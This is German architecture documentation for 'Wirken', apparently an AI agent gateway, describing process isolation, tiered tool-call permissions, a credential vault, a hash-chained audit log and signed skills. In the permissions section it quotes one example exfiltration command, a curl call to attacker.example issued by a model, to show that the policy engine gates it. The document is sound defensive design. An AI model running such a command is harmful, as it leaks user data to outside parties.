Architektur
Wirken läuft als eine kleine Gruppe kooperierender Prozesse. Die Kanaladapter und der MCP-Proxy laufen jeweils als eigener Betriebssystem-Prozess; Gateway und Agent teilen sich einen. Jeder Adapter hält die Zugangsdaten für seinen Kanal und nichts darüber hinaus, und der MCP-Proxy hält die Zugangsdaten für jeden MCP-Server-Child-Prozess und nichts darüber hinaus. Eine Kompromittierung eines einzelnen Prozesses liest genau die Geheimnisse aus, mit denen dieser Prozess ohnehin betraut war.
Prozessisolation pro Kanal
Jeder Kanaladapter ist ein separater Betriebssystem-Prozess, den das Gateway startet und in der Adapter-Registry führt. Der Adapter hält die Plattform-Zugangsdaten für seinen Kanal und nichts darüber hinaus, sodass er keine Werkzeuge aufrufen, keine Sessions anderer Kanäle lesen und keine Zugangsdaten anderer Kanäle erreichen kann.
Die IPC zwischen Adapter und Gateway läuft über einen Unix Domain Socket. Adapter authentifizieren sich beim Verbindungsaufbau mit einem adapter-spezifischen Ed25519-Challenge-Response-Handshake, und das Gateway hält den Kanal, zu dem dieser Handshake aufgelöst hat, als authentifizierten Kanal der Verbindung fest. Frames werden mit Cap'n Proto serialisiert, einem Zero-Copy-Format, dessen Traversal-Limits das Gateway durchsetzt, bevor der Payload geparst wird.
Jeder eingehende Frame führt einen selbst deklarierten Kanal-String mit. Das Gateway ruft vor dem Routen AuthenticatedChannel::require_match auf diesem String gegen den im Handshake aufgelösten Kanal auf. Bei einer Abweichung scheitert der Frame, und beide Seiten der Diskrepanz werden in die Audit-Kette geschrieben, sodass kanalübergreifende Identitätstäuschungen im Log beobachtbar sind und nicht nur an der Tür abgewiesen werden.
Das Gateway hält Kanäle durch drei Dinge getrennt: Jeder Adapter ist ein eigener Betriebssystem-Prozess, jeder authentifiziert sich mit einem eigenen Ed25519-Schlüssel, und das Gateway prüft bei jedem Frame den Kanal gegen den, als der sich die Verbindung authentifiziert hat. Das IPC-Crate enthält außerdem ein typisiertes SessionHandle<C: Channel>; im produktiven Nachrichtenpfad wird es nicht verwendet. /channels zeigt die Typen. Referenz: crates/ipc/src/channel.rs.
Die typisierte Action-Policy
Jede freigabepflichtige Operation ist eine Variante eines Rust-Action-Enums. Der Dispatcher gleicht bei jedem Werkzeugaufruf gegen das Enum ab, der Match ist total, und der Compiler erzwingt diese Totalität. Eine neue freigabepflichtige Aktion ohne Tier lässt sich nicht bauen; eine zu entfernen lässt jede Stelle scheitern, die sie bisher behandelt hat. Ihre Policy-Entscheidung findet in Rust statt, bevor das vom Modell erzeugte JSON das Werkzeug erreicht.
Eine Aktion löst sich in eine von drei Stufen auf, sobald der Dispatcher sie klassifiziert.
- Tier 1, erlaubt. Workspace-Dateizugriff, Kanalantworten, Websuche. Keine interaktive Abfrage, keine Entscheidungskosten zur Laufzeit.
- Tier 2, fragt nach, sofern keine Freigabe hinterlegt ist. Shell-Exec für 23 Inspektionsbefehle auf einer Allowlist. Eine Genehmigung, die Sie auf eine Nachfrage hin geben, gilt für diesen einen Aufruf. Eine mit wirken permissions approve hinterlegte Freigabe gilt standardmäßig dreißig Tage und für jeden zugelassenen Absender dieses Agenten auf diesem Kanal.
- Tier 3, fragt immer nach. Jeder andere Shell-Befehl, jeder Befehl mit Pipe, Umleitung oder Substitution, jeder MCP-Werkzeugaufruf, Bilderzeugung, das Lesen eines importierten Archivs oder des Speichers eines anderen Kanals sowie jedes Werkzeug, das das Gateway nicht kennt. Genehmigungen werden nicht gespeichert.
Ein Modell, das exec mit curl https://attacker.example/exfil verlangt, landet in Tier 3: Sie werden gefragt, bevor der Befehl läuft, und der Befehl läuft in einem Container ohne Netzwerk. Die Stufe wird in Rust aus Werkzeugname und Argumenten berechnet; das Modell wählt sie nicht. Der Werkzeugaufruf wird in die Audit-Kette geschrieben, bevor das Werkzeug läuft. Referenz: crates/gateway/src/permissions.rs.
Der verschlüsselte Credential-Vault
Zugangsdaten ruhen in einem XChaCha20-Poly1305-Vault. Der Vault-Schlüssel ist eine Datei im Datenverzeichnis, mit der Vault-Passphrase umhüllt. Ein Build mit einem optionalen Feature legt ihn stattdessen im Schlüsselbund des Betriebssystems ab; die veröffentlichten Binärdateien tun das nicht.
Entschlüsselte Geheimnisse sind in VaultSecret eingehüllt, das bewusst weder Display, Debug, Serialize noch Clone implementiert. Der einzige Zugriffspfad gibt eine kurzlebige Referenz zurück, die den Geheimwert nicht überdauern kann, und sobald der Wert den Gültigkeitsbereich verlässt, wird sein Speicher durch zeroize genullt. Ein verirrtes println!("token: {token}") lässt sich nicht bauen, scheitert also nicht erst zur Laufzeit. Das ist keine Entwicklerkonvention; es ist eine Eigenschaft, die der Compiler auf jedem Codepfad erzwingt.
MCP-Zugangsdaten sitzen hinter einer weiteren Grenze. Der MCP-Proxy läuft als separater Prozess über einen Unix Domain Socket, und jeder MCP-Server-Eintrag in mcp.json startet seinen eigenen Child-Prozess mit eigenen Pipes und eigenen, im Geltungsbereich begrenzten Zugangsdaten. Ihr Agentenprozess hält nie ein Bearer-Token oder ein OAuth2-Client-Secret für einen MCP-Server im Klartext, sodass ein Exploit gegen den Agenten null MCP-Geheimnisse liest.
Die Audit-Kette
Jede Session schreibt ein SHA-256-hash-verkettetes Event-Log. Das Log lebt in SQLite als einzige append-only Tabelle. Jede Zeile trägt den Hash der vorhergehenden Zeile, den Hash der Event-Payload und den daraus resultierenden Ketten-Hash, und der Kettenkopf wird periodisch mit der Ed25519-Identität des Agenten über den von ihm abgedeckten Sequenzbereich signiert.
Die Events sind typisiert: Nutzernachrichten, Assistentennachrichten, Werkzeugaufrufe, Werkzeugergebnisse, Metadaten zu LLM-Anfrage und -Antwort (mit einem Hash der exakt an den Anbieter gesendeten Nachrichten und Werkzeuge), Berechtigungsentscheidungen und Markierungen des Injection-Detektors. Eine veränderte Zeile bricht die Kette. Kettenköpfe sind mit dem Audit-Schlüssel der Installation signiert. Die Kette zeigt die Abfolge der Entscheidungen, nicht die Richtigkeit einer einzelnen Entscheidung.
Die Verifikation läuft offline. wirken sessions verify <session-id> liest die Zeilen der Session, berechnet die Hashes neu, führt read_file und list_files gegen den aktuellen Workspace erneut aus und meldet jede Abweichung. wirken audit verify durchläuft die Kette jeder Session und prüft die Ed25519-Signatur auf jedem Kettenkopf. Das vollständige Schema und die CLI stehen in docs/audit-cli.md.
Dieselben typisierten Events speisen einen SIEM-Forwarder, sobald einer konfiguriert ist. Datadog, Splunk HEC, Microsoft Sentinel und jeder HTTPS-Webhook sind erstklassige Ziele. Events werden ausgeliefert, nachdem sie in der Kette gelandet sind, sodass der SIEM-Stream und Ihr lokales Audit-Log unabhängige Sichten auf denselben Datensatz sind.
Die Skill-Hülle
Ein Skill ist ein Verzeichnis. Es enthält SKILL.md: die an das Modell gerichteten Anweisungen und einen YAML-Frontmatter-Block, der die Werkzeuge und Berechtigungen des Skills deklariert. Ein Frontmatter mit disable-model-invocation: false nimmt den Skill in die Menge auf, aus der das LLM selbst wählen kann; ohne diese Zeile ist der Skill nur über einen ausdrücklichen Slash-Befehl /skill-name erreichbar.
Skills sind signiert. Die Signatur ist eine Ed25519-Signatur über den SHA-256-Hash von SKILL.md und liegt in SKILL.sig daneben. Ein Skill wird nur geladen, wenn eine Delegationssignatur der Registry-Wurzel, die in die Binärdatei einkompiliert ist, den Schlüssel abdeckt, der ihn signiert hat. Ein nur mit dem eigenen Schlüssel signiertes Bündel wird abgelehnt.
Skills sind Markdown und laufen über die Werkzeuge des Gateways; eine Laufzeitumgebung für kompilierte Skills gibt es nicht. Der Dateizugriff auf den Workspace des Agenten läuft über ein einziges cap_std::fs::Dir-Handle auf das Workspace-Verzeichnis, das absolute Pfade und jeden Pfad ablehnt, der den Workspace verlässt. Lyrik, der Skill für statische Analyse, ist das ausgearbeitete Beispiel: lyrik.wirken.ai.
Der Ablauf
Für eine eingehende Nachricht, von der Ankunft bis zur Policy-Entscheidung:
- Die Plattform stellt eine Nachricht an einen Kanaladapter zu. Der Adapter ist der einzige Prozess in Wirken, der die Zugangsdaten dieser Plattform hält.
- Der Adapter signiert und rahmt die eingehende Nachricht und leitet sie über seine authentifizierte UDS-Verbindung an das Gateway weiter. Das Gateway verifiziert den Frame, gleicht den behaupteten Kanal gegen den authentifizierten Kanal ab und zeichnet das Eingangs-Event in der Audit-Kette auf.
- Das Gateway routet die Nachricht an den passenden Agenten mit dem zusammengeführten Berechtigungsprofil für diese Session. Der Agent lädt die relevanten Skills, befüllt das Context-Window innerhalb des Token-Budgets des Modells und ruft das LLM auf.
- Der Agent empfängt einen Werkzeugaufruf vom LLM. Der Dispatcher löst ihn in eine Action-Variante auf. Die Policy-Engine prüft das Tier der Aktion und erlaubt, fragt nach oder lehnt ab. Die Audit-Kette zeichnet die Entscheidung und das Werkzeugergebnis auf, bevor der nächste Turn beginnt.